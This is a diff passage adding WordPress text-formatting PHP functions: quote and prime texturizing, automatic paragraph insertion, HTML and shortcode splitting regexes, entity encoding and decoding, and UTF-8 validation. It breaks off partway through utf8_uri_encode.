+				// This is an HTML element delimiter.
+
+				// Replace each & with &#038; unless it already looks like an entity.
+				$curl = preg_replace( '/&(?!#(?:\d+|x[a-f0-9]+);|[a-z1-4]{1,8};)/i', '&#038;', $curl );
+
+				_wptexturize_pushpop_element( $curl, $no_texturize_tags_stack, $no_texturize_tags );
+			}
+
+		} elseif ( '' === trim( $curl ) ) {
+			// This is a newline between delimiters.  Performance improves when we check this.
+			continue;
+
+		} elseif ( '[' === $first && $found_shortcodes && 1 === preg_match( '/^' . $shortcode_regex . '$/', $curl ) ) {
+			// This is a shortcode delimiter.
+
+			if ( '[[' !== substr( $curl, 0, 2 ) && ']]' !== substr( $curl, -2 ) ) {
+				// Looks like a normal shortcode.
+				_wptexturize_pushpop_element( $curl, $no_texturize_shortcodes_stack, $no_texturize_shortcodes );
+			} else {
+				// Looks like an escaped shortcode.
+				continue;
+			}
+
+		} elseif ( empty( $no_texturize_shortcodes_stack ) && empty( $no_texturize_tags_stack ) ) {
+			// This is neither a delimiter, nor is this content inside of no_texturize pairs.  Do texturize.
+
+			$curl = str_replace( $static_characters, $static_replacements, $curl );
+
+			if ( false !== strpos( $curl, "'" ) ) {
+				$curl = preg_replace( $dynamic_characters['apos'], $dynamic_replacements['apos'], $curl );
+				$curl = wptexturize_primes( $curl, "'", $prime, $open_sq_flag, $closing_single_quote );
+				$curl = str_replace( $apos_flag, $apos, $curl );
+				$curl = str_replace( $open_sq_flag, $opening_single_quote, $curl );
+			}
+			if ( false !== strpos( $curl, '"' ) ) {
+				$curl = preg_replace( $dynamic_characters['quote'], $dynamic_replacements['quote'], $curl );
+				$curl = wptexturize_primes( $curl, '"', $double_prime, $open_q_flag, $closing_quote );
+				$curl = str_replace( $open_q_flag, $opening_quote, $curl );
+			}
+			if ( false !== strpos( $curl, '-' ) ) {
+				$curl = preg_replace( $dynamic_characters['dash'], $dynamic_replacements['dash'], $curl );
+			}
+
+			// 9x9 (times), but never 0x9999
+			if ( 1 === preg_match( '/(?<=\d)x\d/', $curl ) ) {
+				// Searching for a digit is 10 times more expensive than for the x, so we avoid doing this one!
+				$curl = preg_replace( '/\b(\d(?(?<=0)[\d\.,]+|[\d\.,]*))x(\d[\d\.,]*)\b/', '$1&#215;$2', $curl );
+			}
+
+			// Replace each & with &#038; unless it already looks like an entity.
+			$curl = preg_replace( '/&(?!#(?:\d+|x[a-f0-9]+);|[a-z1-4]{1,8};)/i', '&#038;', $curl );
+		}
+	}
+
+	return implode( '', $textarr );
+}
+
+/**
+ * Implements a logic tree to determine whether or not "7'." represents seven feet,
+ * then converts the special char into either a prime char or a closing quote char.
+ *
+ * @since 4.3.0
+ *
+ * @param string $haystack    The plain text to be searched.
+ * @param string $needle      The character to search for such as ' or ".
+ * @param string $prime       The prime char to use for replacement.
+ * @param string $open_quote  The opening quote char. Opening quote replacement must be
+ *                            accomplished already.
+ * @param string $close_quote The closing quote char to use for replacement.
+ * @return string The $haystack value after primes and quotes replacements.
+ */
+function wptexturize_primes( $haystack, $needle, $prime, $open_quote, $close_quote ) {
+	$spaces = wp_spaces_regexp();
+	$flag = '<!--wp-prime-or-quote-->';
+	$quote_pattern = "/$needle(?=\\Z|[.,:;!?)}\\-\\]]|&gt;|" . $spaces . ")/";
+	$prime_pattern    = "/(?<=\\d)$needle/";
+	$flag_after_digit = "/(?<=\\d)$flag/";
+	$flag_no_digit    = "/(?<!\\d)$flag/";
+
+	$sentences = explode( $open_quote, $haystack );
+
+	foreach ( $sentences as $key => &$sentence ) {
+		if ( false === strpos( $sentence, $needle ) ) {
+			continue;
+		} elseif ( 0 !== $key && 0 === substr_count( $sentence, $close_quote ) ) {
+			$sentence = preg_replace( $quote_pattern, $flag, $sentence, -1, $count );
+			if ( $count > 1 ) {
+				// This sentence appears to have multiple closing quotes.  Attempt Vulcan logic.
+				$sentence = preg_replace( $flag_no_digit, $close_quote, $sentence, -1, $count2 );
+				if ( 0 === $count2 ) {
+					// Try looking for a quote followed by a period.
+					$count2 = substr_count( $sentence, "$flag." );
+					if ( $count2 > 0 ) {
+						// Assume the rightmost quote-period match is the end of quotation.
+						$pos = strrpos( $sentence, "$flag." );
+					} else {
+						// When all else fails, make the rightmost candidate a closing quote.
+						// This is most likely to be problematic in the context of bug #18549.
+						$pos = strrpos( $sentence, $flag );
+					}
+					$sentence = substr_replace( $sentence, $close_quote, $pos, strlen( $flag ) );
+				}
+				// Use conventional replacement on any remaining primes and quotes.
+				$sentence = preg_replace( $prime_pattern, $prime, $sentence );
+				$sentence = preg_replace( $flag_after_digit, $prime, $sentence );
+				$sentence = str_replace( $flag, $close_quote, $sentence );
+			} elseif ( 1 == $count ) {
+				// Found only one closing quote candidate, so give it priority over primes.
+				$sentence = str_replace( $flag, $close_quote, $sentence );
+				$sentence = preg_replace( $prime_pattern, $prime, $sentence );
+			} else {
+				// No closing quotes found.  Just run primes pattern.
+				$sentence = preg_replace( $prime_pattern, $prime, $sentence );
+			}
+		} else {
+			$sentence = preg_replace( $prime_pattern, $prime, $sentence );
+			$sentence = preg_replace( $quote_pattern, $close_quote, $sentence );
+		}
+		if ( '"' == $needle && false !== strpos( $sentence, '"' ) ) {
+			$sentence = str_replace( '"', $close_quote, $sentence );
+		}
+	}
+
+	return implode( $open_quote, $sentences );
+}
+
+/**
+ * Search for disabled element tags. Push element to stack on tag open and pop
+ * on tag close.
+ *
+ * Assumes first char of $text is tag opening and last char is tag closing.
+ * Assumes second char of $text is optionally '/' to indicate closing as in </html>.
+ *
+ * @since 2.9.0
+ * @access private
+ *
+ * @param string $text Text to check. Must be a tag like `<html>` or `[shortcode]`.
+ * @param array  $stack List of open tag elements.
+ * @param array  $disabled_elements The tag names to match against. Spaces are not allowed in tag names.
+ */
+function _wptexturize_pushpop_element( $text, &$stack, $disabled_elements ) {
+	// Is it an opening tag or closing tag?
+	if ( isset( $text[1] ) && '/' !== $text[1] ) {
+		$opening_tag = true;
+		$name_offset = 1;
+	} elseif ( 0 == count( $stack ) ) {
+		// Stack is empty. Just stop.
+		return;
+	} else {
+		$opening_tag = false;
+		$name_offset = 2;
+	}
+
+	// Parse out the tag name.
+	$space = strpos( $text, ' ' );
+	if ( false === $space ) {
+		$space = -1;
+	} else {
+		$space -= $name_offset;
+	}
+	$tag = substr( $text, $name_offset, $space );
+
+	// Handle disabled tags.
+	if ( in_array( $tag, $disabled_elements ) ) {
+		if ( $opening_tag ) {
+			/*
+			 * This disables texturize until we find a closing tag of our type
+			 * (e.g. <pre>) even if there was invalid nesting before that
+			 *
+			 * Example: in the case <pre>sadsadasd</code>"baba"</pre>
+			 *          "baba" won't be texturize
+			 */
+
+			array_push( $stack, $tag );
+		} elseif ( end( $stack ) == $tag ) {
+			array_pop( $stack );
+		}
+	}
+}
+
+/**
+ * Replaces double line-breaks with paragraph elements.
+ *
+ * A group of regex replaces used to identify text formatted with newlines and
+ * replace double line-breaks with HTML paragraph tags. The remaining line-breaks
+ * after conversion become <<br />> tags, unless $br is set to '0' or 'false'.
+ *
+ * @since 0.71
+ *
+ * @param string $pee The text which has to be formatted.
+ * @param bool   $br  Optional. If set, this will convert all remaining line-breaks
+ *                    after paragraphing. Default true.
+ * @return string Text which has been converted into correct paragraph tags.
+ */
+function wpautop( $pee, $br = true ) {
+	$pre_tags = array();
+
+	if ( trim($pee) === '' )
+		return '';
+
+	// Just to make things a little easier, pad the end.
+	$pee = $pee . "\n";
+
+	/*
+	 * Pre tags shouldn't be touched by autop.
+	 * Replace pre tags with placeholders and bring them back after autop.
+	 */
+	if ( strpos($pee, '<pre') !== false ) {
+		$pee_parts = explode( '</pre>', $pee );
+		$last_pee = array_pop($pee_parts);
+		$pee = '';
+		$i = 0;
+
+		foreach ( $pee_parts as $pee_part ) {
+			$start = strpos($pee_part, '<pre');
+
+			// Malformed html?
+			if ( $start === false ) {
+				$pee .= $pee_part;
+				continue;
+			}
+
+			$name = "<pre wp-pre-tag-$i></pre>";
+			$pre_tags[$name] = substr( $pee_part, $start ) . '</pre>';
+
+			$pee .= substr( $pee_part, 0, $start ) . $name;
+			$i++;
+		}
+
+		$pee .= $last_pee;
+	}
+	// Change multiple <br>s into two line breaks, which will turn into paragraphs.
+	$pee = preg_replace('|<br\s*/?>\s*<br\s*/?>|', "\n\n", $pee);
+
+	$allblocks = '(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary)';
+
+	// Add a double line break above block-level opening tags.
+	$pee = preg_replace('!(<' . $allblocks . '[\s/>])!', "\n\n$1", $pee);
+
+	// Add a double line break below block-level closing tags.
+	$pee = preg_replace('!(</' . $allblocks . '>)!', "$1\n\n", $pee);
+
+	// Standardize newline characters to "\n".
+	$pee = str_replace(array("\r\n", "\r"), "\n", $pee);
+
+	// Find newlines in all elements and add placeholders.
+	$pee = wp_replace_in_html_tags( $pee, array( "\n" => " <!-- wpnl --> " ) );
+
+	// Collapse line breaks before and after <option> elements so they don't get autop'd.
+	if ( strpos( $pee, '<option' ) !== false ) {
+		$pee = preg_replace( '|\s*<option|', '<option', $pee );
+		$pee = preg_replace( '|</option>\s*|', '</option>', $pee );
+	}
+
+	/*
+	 * Collapse line breaks inside <object> elements, before <param> and <embed> elements
+	 * so they don't get autop'd.
+	 */
+	if ( strpos( $pee, '</object>' ) !== false ) {
+		$pee = preg_replace( '|(<object[^>]*>)\s*|', '$1', $pee );
+		$pee = preg_replace( '|\s*</object>|', '</object>', $pee );
+		$pee = preg_replace( '%\s*(</?(?:param|embed)[^>]*>)\s*%', '$1', $pee );
+	}
+
+	/*
+	 * Collapse line breaks inside <audio> and <video> elements,
+	 * before and after <source> and <track> elements.
+	 */
+	if ( strpos( $pee, '<source' ) !== false || strpos( $pee, '<track' ) !== false ) {
+		$pee = preg_replace( '%([<\[](?:audio|video)[^>\]]*[>\]])\s*%', '$1', $pee );
+		$pee = preg_replace( '%\s*([<\[]/(?:audio|video)[>\]])%', '$1', $pee );
+		$pee = preg_replace( '%\s*(<(?:source|track)[^>]*>)\s*%', '$1', $pee );
+	}
+
+	// Collapse line breaks before and after <figcaption> elements.
+	if ( strpos( $pee, '<figcaption' ) !== false ) {
+		$pee = preg_replace( '|\s*(<figcaption[^>]*>)|', '$1', $pee );
+		$pee = preg_replace( '|</figcaption>\s*|', '</figcaption>', $pee );
+	}
+
+	// Remove more than two contiguous line breaks.
+	$pee = preg_replace("/\n\n+/", "\n\n", $pee);
+
+	// Split up the contents into an array of strings, separated by double line breaks.
+	$pees = preg_split('/\n\s*\n/', $pee, -1, PREG_SPLIT_NO_EMPTY);
+
+	// Reset $pee prior to rebuilding.
+	$pee = '';
+
+	// Rebuild the content as a string, wrapping every bit with a <p>.
+	foreach ( $pees as $tinkle ) {
+		$pee .= '<p>' . trim($tinkle, "\n") . "</p>\n";
+	}
+
+	// Under certain strange conditions it could create a P of entirely whitespace.
+	$pee = preg_replace('|<p>\s*</p>|', '', $pee);
+
+	// Add a closing <p> inside <div>, <address>, or <form> tag if missing.
+	$pee = preg_replace('!<p>([^<]+)</(div|address|form)>!', "<p>$1</p></$2>", $pee);
+
+	// If an opening or closing block element tag is wrapped in a <p>, unwrap it.
+	$pee = preg_replace('!<p>\s*(</?' . $allblocks . '[^>]*>)\s*</p>!', "$1", $pee);
+
+	// In some cases <li> may get wrapped in <p>, fix them.
+	$pee = preg_replace("|<p>(<li.+?)</p>|", "$1", $pee);
+
+	// If a <blockquote> is wrapped with a <p>, move it inside the <blockquote>.
+	$pee = preg_replace('|<p><blockquote([^>]*)>|i', "<blockquote$1><p>", $pee);
+	$pee = str_replace('</blockquote></p>', '</p></blockquote>', $pee);
+
+	// If an opening or closing block element tag is preceded by an opening <p> tag, remove it.
+	$pee = preg_replace('!<p>\s*(</?' . $allblocks . '[^>]*>)!', "$1", $pee);
+
+	// If an opening or closing block element tag is followed by a closing <p> tag, remove it.
+	$pee = preg_replace('!(</?' . $allblocks . '[^>]*>)\s*</p>!', "$1", $pee);
+
+	// Optionally insert line breaks.
+	if ( $br ) {
+		// Replace newlines that shouldn't be touched with a placeholder.
+		$pee = preg_replace_callback('/<(script|style).*?<\/\\1>/s', '_autop_newline_preservation_helper', $pee);
+
+		// Normalize <br>
+		$pee = str_replace( array( '<br>', '<br/>' ), '<br />', $pee );
+
+		// Replace any new line characters that aren't preceded by a <br /> with a <br />.
+		$pee = preg_replace('|(?<!<br />)\s*\n|', "<br />\n", $pee);
+
+		// Replace newline placeholders with newlines.
+		$pee = str_replace('<WPPreserveNewline />', "\n", $pee);
+	}
+
+	// If a <br /> tag is after an opening or closing block tag, remove it.
+	$pee = preg_replace('!(</?' . $allblocks . '[^>]*>)\s*<br />!', "$1", $pee);
+
+	// If a <br /> tag is before a subset of opening or closing block tags, remove it.
+	$pee = preg_replace('!<br />(\s*</?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)[^>]*>)!', '$1', $pee);
+	$pee = preg_replace( "|\n</p>$|", '</p>', $pee );
+
+	// Replace placeholder <pre> tags with their original content.
+	if ( !empty($pre_tags) )
+		$pee = str_replace(array_keys($pre_tags), array_values($pre_tags), $pee);
+
+	// Restore newlines in all elements.
+	if ( false !== strpos( $pee, '<!-- wpnl -->' ) ) {
+		$pee = str_replace( array( ' <!-- wpnl --> ', '<!-- wpnl -->' ), "\n", $pee );
+	}
+
+	return $pee;
+}
+
+/**
+ * Separate HTML elements and comments from the text.
+ *
+ * @since 4.2.4
+ *
+ * @param string $input The text which has to be formatted.
+ * @return array The formatted text.
+ */
+function wp_html_split( $input ) {
+	return preg_split( get_html_split_regex(), $input, -1, PREG_SPLIT_DELIM_CAPTURE );
+}
+
+/**
+ * Retrieve the regular expression for an HTML element.
+ *
+ * @since 4.4.0
+ *
+ * @staticvar string $regex
+ *
+ * @return string The regular expression
+ */
+function get_html_split_regex() {
+	static $regex;
+
+	if ( ! isset( $regex ) ) {
+		$comments =
+			  '!'           // Start of comment, after the <.
+			. '(?:'         // Unroll the loop: Consume everything until --> is found.
+			.     '-(?!->)' // Dash not followed by end of comment.
+			.     '[^\-]*+' // Consume non-dashes.
+			. ')*+'         // Loop possessively.
+			. '(?:-->)?';   // End of comment. If not found, match all input.
+
+		$cdata =
+			  '!\[CDATA\['  // Start of comment, after the <.
+			. '[^\]]*+'     // Consume non-].
+			. '(?:'         // Unroll the loop: Consume everything until ]]> is found.
+			.     '](?!]>)' // One ] not followed by end of comment.
+			.     '[^\]]*+' // Consume non-].
+			. ')*+'         // Loop possessively.
+			. '(?:]]>)?';   // End of comment. If not found, match all input.
+
+		$escaped =
+			  '(?='           // Is the element escaped?
+			.    '!--'
+			. '|'
+			.    '!\[CDATA\['
+			. ')'
+			. '(?(?=!-)'      // If yes, which type?
+			.     $comments
+			. '|'
+			.     $cdata
+			. ')';
+
+		$regex =
+			  '/('              // Capture the entire match.
+			.     '<'           // Find start of element.
+			.     '(?'          // Conditional expression follows.
+			.         $escaped  // Find end of escaped element.
+			.     '|'           // ... else ...
+			.         '[^>]*>?' // Find end of normal element.
+			.     ')'
+			. ')/';
+	}
+
+	return $regex;
+}
+
+/**
+ * Retrieve the combined regular expression for HTML and shortcodes.
+ *
+ * @access private
+ * @ignore
+ * @internal This function will be removed in 4.5.0 per Shortcode API Roadmap.
+ * @since 4.4.0
+ *
+ * @staticvar string $html_regex
+ *
+ * @param string $shortcode_regex The result from _get_wptexturize_shortcode_regex().  Optional.
+ * @return string The regular expression
+ */
+function _get_wptexturize_split_regex( $shortcode_regex = '' ) {
+	static $html_regex;
+
+	if ( ! isset( $html_regex ) ) {
+		$comment_regex =
+			  '!'           // Start of comment, after the <.
+			. '(?:'         // Unroll the loop: Consume everything until --> is found.
+			.     '-(?!->)' // Dash not followed by end of comment.
+			.     '[^\-]*+' // Consume non-dashes.
+			. ')*+'         // Loop possessively.
+			. '(?:-->)?';   // End of comment. If not found, match all input.
+
+		$html_regex =			 // Needs replaced with wp_html_split() per Shortcode API Roadmap.
+			  '<'                // Find start of element.
+			. '(?(?=!--)'        // Is this a comment?
+			.     $comment_regex // Find end of comment.
+			. '|'
+			.     '[^>]*>?'      // Find end of element. If not found, match all input.
+			. ')';
+	}
+
+	if ( empty( $shortcode_regex ) ) {
+		$regex = '/(' . $html_regex . ')/';
+	} else {
+		$regex = '/(' . $html_regex . '|' . $shortcode_regex . ')/';
+	}
+
+	return $regex;
+}
+
+/**
+ * Retrieve the regular expression for shortcodes.
+ *
+ * @access private
+ * @ignore
+ * @internal This function will be removed in 4.5.0 per Shortcode API Roadmap.
+ * @since 4.4.0
+ *
+ * @param array $tagnames List of shortcodes to find.
+ * @return string The regular expression
+ */
+function _get_wptexturize_shortcode_regex( $tagnames ) {
+	$tagregexp = join( '|', array_map( 'preg_quote', $tagnames ) );
+	$tagregexp = "(?:$tagregexp)(?=[\\s\\]\\/])"; // Excerpt of get_shortcode_regex().
+	$regex =
+		  '\['              // Find start of shortcode.
+		. '[\/\[]?'         // Shortcodes may begin with [/ or [[
+		. $tagregexp        // Only match registered shortcodes, because performance.
+		. '(?:'
+		.     '[^\[\]<>]+'  // Shortcodes do not contain other shortcodes. Quantifier critical.
+		. '|'
+		.     '<[^\[\]>]*>' // HTML elements permitted. Prevents matching ] before >.
+		. ')*+'             // Possessive critical.
+		. '\]'              // Find end of shortcode.
+		. '\]?';            // Shortcodes may end with ]]
+
+	return $regex;
+}
+
+/**
+ * Replace characters or phrases within HTML elements only.
+ *
+ * @since 4.2.3
+ *
+ * @param string $haystack The text which has to be formatted.
+ * @param array $replace_pairs In the form array('from' => 'to', ...).
+ * @return string The formatted text.
+ */
+function wp_replace_in_html_tags( $haystack, $replace_pairs ) {
+	// Find all elements.
+	$textarr = wp_html_split( $haystack );
+	$changed = false;
+
+	// Optimize when searching for one item.
+	if ( 1 === count( $replace_pairs ) ) {
+		// Extract $needle and $replace.
+		foreach ( $replace_pairs as $needle => $replace );
+
+		// Loop through delimiters (elements) only.
+		for ( $i = 1, $c = count( $textarr ); $i < $c; $i += 2 ) {
+			if ( false !== strpos( $textarr[$i], $needle ) ) {
+				$textarr[$i] = str_replace( $needle, $replace, $textarr[$i] );
+				$changed = true;
+			}
+		}
+	} else {
+		// Extract all $needles.
+		$needles = array_keys( $replace_pairs );
+
+		// Loop through delimiters (elements) only.
+		for ( $i = 1, $c = count( $textarr ); $i < $c; $i += 2 ) {
+			foreach ( $needles as $needle ) {
+				if ( false !== strpos( $textarr[$i], $needle ) ) {
+					$textarr[$i] = strtr( $textarr[$i], $replace_pairs );
+					$changed = true;
+					// After one strtr() break out of the foreach loop and look at next element.
+					break;
+				}
+			}
+		}
+	}
+
+	if ( $changed ) {
+		$haystack = implode( $textarr );
+	}
+
+	return $haystack;
+}
+
+/**
+ * Newline preservation help function for wpautop
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @param array $matches preg_replace_callback matches array
+ * @return string
+ */
+function _autop_newline_preservation_helper( $matches ) {
+	return str_replace( "\n", "<WPPreserveNewline />", $matches[0] );
+}
+
+/**
+ * Don't auto-p wrap shortcodes that stand alone
+ *
+ * Ensures that shortcodes are not wrapped in `<p>...</p>`.
+ *
+ * @since 2.9.0
+ *
+ * @global array $shortcode_tags
+ *
+ * @param string $pee The content.
+ * @return string The filtered content.
+ */
+function shortcode_unautop( $pee ) {
+	global $shortcode_tags;
+
+	if ( empty( $shortcode_tags ) || !is_array( $shortcode_tags ) ) {
+		return $pee;
+	}
+
+	$tagregexp = join( '|', array_map( 'preg_quote', array_keys( $shortcode_tags ) ) );
+	$spaces = wp_spaces_regexp();
+
+	$pattern =
+		  '/'
+		. '<p>'                              // Opening paragraph
+		. '(?:' . $spaces . ')*+'            // Optional leading whitespace
+		. '('                                // 1: The shortcode
+		.     '\\['                          // Opening bracket
+		.     "($tagregexp)"                 // 2: Shortcode name
+		.     '(?![\\w-])'                   // Not followed by word character or hyphen
+		                                     // Unroll the loop: Inside the opening shortcode tag
+		.     '[^\\]\\/]*'                   // Not a closing bracket or forward slash
+		.     '(?:'
+		.         '\\/(?!\\])'               // A forward slash not followed by a closing bracket
+		.         '[^\\]\\/]*'               // Not a closing bracket or forward slash
+		.     ')*?'
+		.     '(?:'
+		.         '\\/\\]'                   // Self closing tag and closing bracket
+		.     '|'
+		.         '\\]'                      // Closing bracket
+		.         '(?:'                      // Unroll the loop: Optionally, anything between the opening and closing shortcode tags
+		.             '[^\\[]*+'             // Not an opening bracket
+		.             '(?:'
+		.                 '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag
+		.                 '[^\\[]*+'         // Not an opening bracket
+		.             ')*+'
+		.             '\\[\\/\\2\\]'         // Closing shortcode tag
+		.         ')?'
+		.     ')'
+		. ')'
+		. '(?:' . $spaces . ')*+'            // optional trailing whitespace
+		. '<\\/p>'                           // closing paragraph
+		. '/';
+
+	return preg_replace( $pattern, '$1', $pee );
+}
+
+/**
+ * Checks to see if a string is utf8 encoded.
+ *
+ * NOTE: This function checks for 5-Byte sequences, UTF8
+ *       has Bytes Sequences with a maximum length of 4.
+ *
+ * @author bmorel at ssi dot fr (modified)
+ * @since 1.2.1
+ *
+ * @param string $str The string to be checked
+ * @return bool True if $str fits a UTF-8 model, false otherwise.
+ */
+function seems_utf8( $str ) {
+	mbstring_binary_safe_encoding();
+	$length = strlen($str);
+	reset_mbstring_encoding();
+	for ($i=0; $i < $length; $i++) {
+		$c = ord($str[$i]);
+		if ($c < 0x80) $n = 0; // 0bbbbbbb
+		elseif (($c & 0xE0) == 0xC0) $n=1; // 110bbbbb
+		elseif (($c & 0xF0) == 0xE0) $n=2; // 1110bbbb
+		elseif (($c & 0xF8) == 0xF0) $n=3; // 11110bbb
+		elseif (($c & 0xFC) == 0xF8) $n=4; // 111110bb
+		elseif (($c & 0xFE) == 0xFC) $n=5; // 1111110b
+		else return false; // Does not match any model
+		for ($j=0; $j<$n; $j++) { // n bytes matching 10bbbbbb follow ?
+			if ((++$i == $length) || ((ord($str[$i]) & 0xC0) != 0x80))
+				return false;
+		}
+	}
+	return true;
+}
+
+/**
+ * Converts a number of special characters into their HTML entities.
+ *
+ * Specifically deals with: &, <, >, ", and '.
+ *
+ * $quote_style can be set to ENT_COMPAT to encode " to
+ * &quot;, or ENT_QUOTES to do both. Default is ENT_NOQUOTES where no quotes are encoded.
+ *
+ * @since 1.2.2
+ * @access private
+ *
+ * @staticvar string $_charset
+ *
+ * @param string     $string         The text which is to be encoded.
+ * @param int|string $quote_style    Optional. Converts double quotes if set to ENT_COMPAT,
+ *                                   both single and double if set to ENT_QUOTES or none if set to ENT_NOQUOTES.
+ *                                   Also compatible with old values; converting single quotes if set to 'single',
+ *                                   double if set to 'double' or both if otherwise set.
+ *                                   Default is ENT_NOQUOTES.
+ * @param string     $charset        Optional. The character encoding of the string. Default is false.
+ * @param bool       $double_encode  Optional. Whether to encode existing html entities. Default is false.
+ * @return string The encoded text with HTML entities.
+ */
+function _wp_specialchars( $string, $quote_style = ENT_NOQUOTES, $charset = false, $double_encode = false ) {
+	$string = (string) $string;
+
+	if ( 0 === strlen( $string ) )
+		return '';
+
+	// Don't bother if there are no specialchars - saves some processing
+	if ( ! preg_match( '/[&<>"\']/', $string ) )
+		return $string;
+
+	// Account for the previous behaviour of the function when the $quote_style is not an accepted value
+	if ( empty( $quote_style ) )
+		$quote_style = ENT_NOQUOTES;
+	elseif ( ! in_array( $quote_style, array( 0, 2, 3, 'single', 'double' ), true ) )
+		$quote_style = ENT_QUOTES;
+
+	// Store the site charset as a static to avoid multiple calls to wp_load_alloptions()
+	if ( ! $charset ) {
+		static $_charset = null;
+		if ( ! isset( $_charset ) ) {
+			$alloptions = wp_load_alloptions();
+			$_charset = isset( $alloptions['blog_charset'] ) ? $alloptions['blog_charset'] : '';
+		}
+		$charset = $_charset;
+	}
+
+	if ( in_array( $charset, array( 'utf8', 'utf-8', 'UTF8' ) ) )
+		$charset = 'UTF-8';
+
+	$_quote_style = $quote_style;
+
+	if ( $quote_style === 'double' ) {
+		$quote_style = ENT_COMPAT;
+		$_quote_style = ENT_COMPAT;
+	} elseif ( $quote_style === 'single' ) {
+		$quote_style = ENT_NOQUOTES;
+	}
+
+	if ( ! $double_encode ) {
+		// Guarantee every &entity; is valid, convert &garbage; into &amp;garbage;
+		// This is required for PHP < 5.4.0 because ENT_HTML401 flag is unavailable.
+		$string = wp_kses_normalize_entities( $string );
+	}
+
+	$string = @htmlspecialchars( $string, $quote_style, $charset, $double_encode );
+
+	// Back-compat.
+	if ( 'single' === $_quote_style )
+		$string = str_replace( "'", '&#039;', $string );
+
+	return $string;
+}
+
+/**
+ * Converts a number of HTML entities into their special characters.
+ *
+ * Specifically deals with: &, <, >, ", and '.
+ *
+ * $quote_style can be set to ENT_COMPAT to decode " entities,
+ * or ENT_QUOTES to do both " and '. Default is ENT_NOQUOTES where no quotes are decoded.
+ *
+ * @since 2.8.0
+ *
+ * @param string     $string The text which is to be decoded.
+ * @param string|int $quote_style Optional. Converts double quotes if set to ENT_COMPAT,
+ *                                both single and double if set to ENT_QUOTES or
+ *                                none if set to ENT_NOQUOTES.
+ *                                Also compatible with old _wp_specialchars() values;
+ *                                converting single quotes if set to 'single',
+ *                                double if set to 'double' or both if otherwise set.
+ *                                Default is ENT_NOQUOTES.
+ * @return string The decoded text without HTML entities.
+ */
+function wp_specialchars_decode( $string, $quote_style = ENT_NOQUOTES ) {
+	$string = (string) $string;
+
+	if ( 0 === strlen( $string ) ) {
+		return '';
+	}
+
+	// Don't bother if there are no entities - saves a lot of processing
+	if ( strpos( $string, '&' ) === false ) {
+		return $string;
+	}
+
+	// Match the previous behaviour of _wp_specialchars() when the $quote_style is not an accepted value
+	if ( empty( $quote_style ) ) {
+		$quote_style = ENT_NOQUOTES;
+	} elseif ( !in_array( $quote_style, array( 0, 2, 3, 'single', 'double' ), true ) ) {
+		$quote_style = ENT_QUOTES;
+	}
+
+	// More complete than get_html_translation_table( HTML_SPECIALCHARS )
+	$single = array( '&#039;'  => '\'', '&#x27;' => '\'' );
+	$single_preg = array( '/&#0*39;/'  => '&#039;', '/&#x0*27;/i' => '&#x27;' );
+	$double = array( '&quot;' => '"', '&#034;'  => '"', '&#x22;' => '"' );
+	$double_preg = array( '/&#0*34;/'  => '&#034;', '/&#x0*22;/i' => '&#x22;' );
+	$others = array( '&lt;'   => '<', '&#060;'  => '<', '&gt;'   => '>', '&#062;'  => '>', '&amp;'  => '&', '&#038;'  => '&', '&#x26;' => '&' );
+	$others_preg = array( '/&#0*60;/'  => '&#060;', '/&#0*62;/'  => '&#062;', '/&#0*38;/'  => '&#038;', '/&#x0*26;/i' => '&#x26;' );
+
+	if ( $quote_style === ENT_QUOTES ) {
+		$translation = array_merge( $single, $double, $others );
+		$translation_preg = array_merge( $single_preg, $double_preg, $others_preg );
+	} elseif ( $quote_style === ENT_COMPAT || $quote_style === 'double' ) {
+		$translation = array_merge( $double, $others );
+		$translation_preg = array_merge( $double_preg, $others_preg );
+	} elseif ( $quote_style === 'single' ) {
+		$translation = array_merge( $single, $others );
+		$translation_preg = array_merge( $single_preg, $others_preg );
+	} elseif ( $quote_style === ENT_NOQUOTES ) {
+		$translation = $others;
+		$translation_preg = $others_preg;
+	}
+
+	// Remove zero padding on numeric entities
+	$string = preg_replace( array_keys( $translation_preg ), array_values( $translation_preg ), $string );
+
+	// Replace characters according to translation table
+	return strtr( $string, $translation );
+}
+
+/**
+ * Checks for invalid UTF8 in a string.
+ *
+ * @since 2.8.0
+ *
+ * @staticvar bool $is_utf8
+ * @staticvar bool $utf8_pcre
+ *
+ * @param string  $string The text which is to be checked.
+ * @param bool    $strip Optional. Whether to attempt to strip out invalid UTF8. Default is false.
+ * @return string The checked text.
+ */
+function wp_check_invalid_utf8( $string, $strip = false ) {
+	$string = (string) $string;
+
+	if ( 0 === strlen( $string ) ) {
+		return '';
+	}
+
+	// Store the site charset as a static to avoid multiple calls to get_option()
+	static $is_utf8 = null;
+	if ( ! isset( $is_utf8 ) ) {
+		$is_utf8 = in_array( get_option( 'blog_charset' ), array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) );
+	}
+	if ( ! $is_utf8 ) {
+		return $string;
+	}
+
+	// Check for support for utf8 in the installed PCRE library once and store the result in a static
+	static $utf8_pcre = null;
+	if ( ! isset( $utf8_pcre ) ) {
+		$utf8_pcre = @preg_match( '/^./u', 'a' );
+	}
+	// We can't demand utf8 in the PCRE installation, so just return the string in those cases
+	if ( !$utf8_pcre ) {
+		return $string;
+	}
+
+	// preg_match fails when it encounters invalid UTF8 in $string
+	if ( 1 === @preg_match( '/^./us', $string ) ) {
+		return $string;
+	}
+
+	// Attempt to strip the bad chars if requested (not recommended)
+	if ( $strip && function_exists( 'iconv' ) ) {
+		return iconv( 'utf-8', 'utf-8', $string );
+	}
+
+	return '';
+}
+
+/**
+ * Encode the Unicode values to be used in the URI.
+ *
+ * @since 1.5.0
+ * @since 5.8.3 Added the `encode_ascii_characters` parameter.
+ *
+ * @param string $utf8_string             String to encode.
+ * @param int    $length                  Max length of the string
+ * @param bool   $encode_ascii_characters Whether to encode ascii characters such as < " '
+ * @return string String with Unicode encoded for URI.
+ */
+function utf8_uri_encode( $utf8_string, $length = 0, $encode_ascii_characters = false ) {
+	$unicode        = '';
+	$values         = array();
+	$num_octets     = 1;
+	$unicode_length = 0;
+
+	mbstring_binary_safe_encoding();
+	$string_length = strlen( $utf8_string );
+	reset_mbstring_encoding();
+
+	for ($i = 0; $i < $string_length; $i++ ) {
+
+		$value = ord( $utf8_string[ $i ] );
+
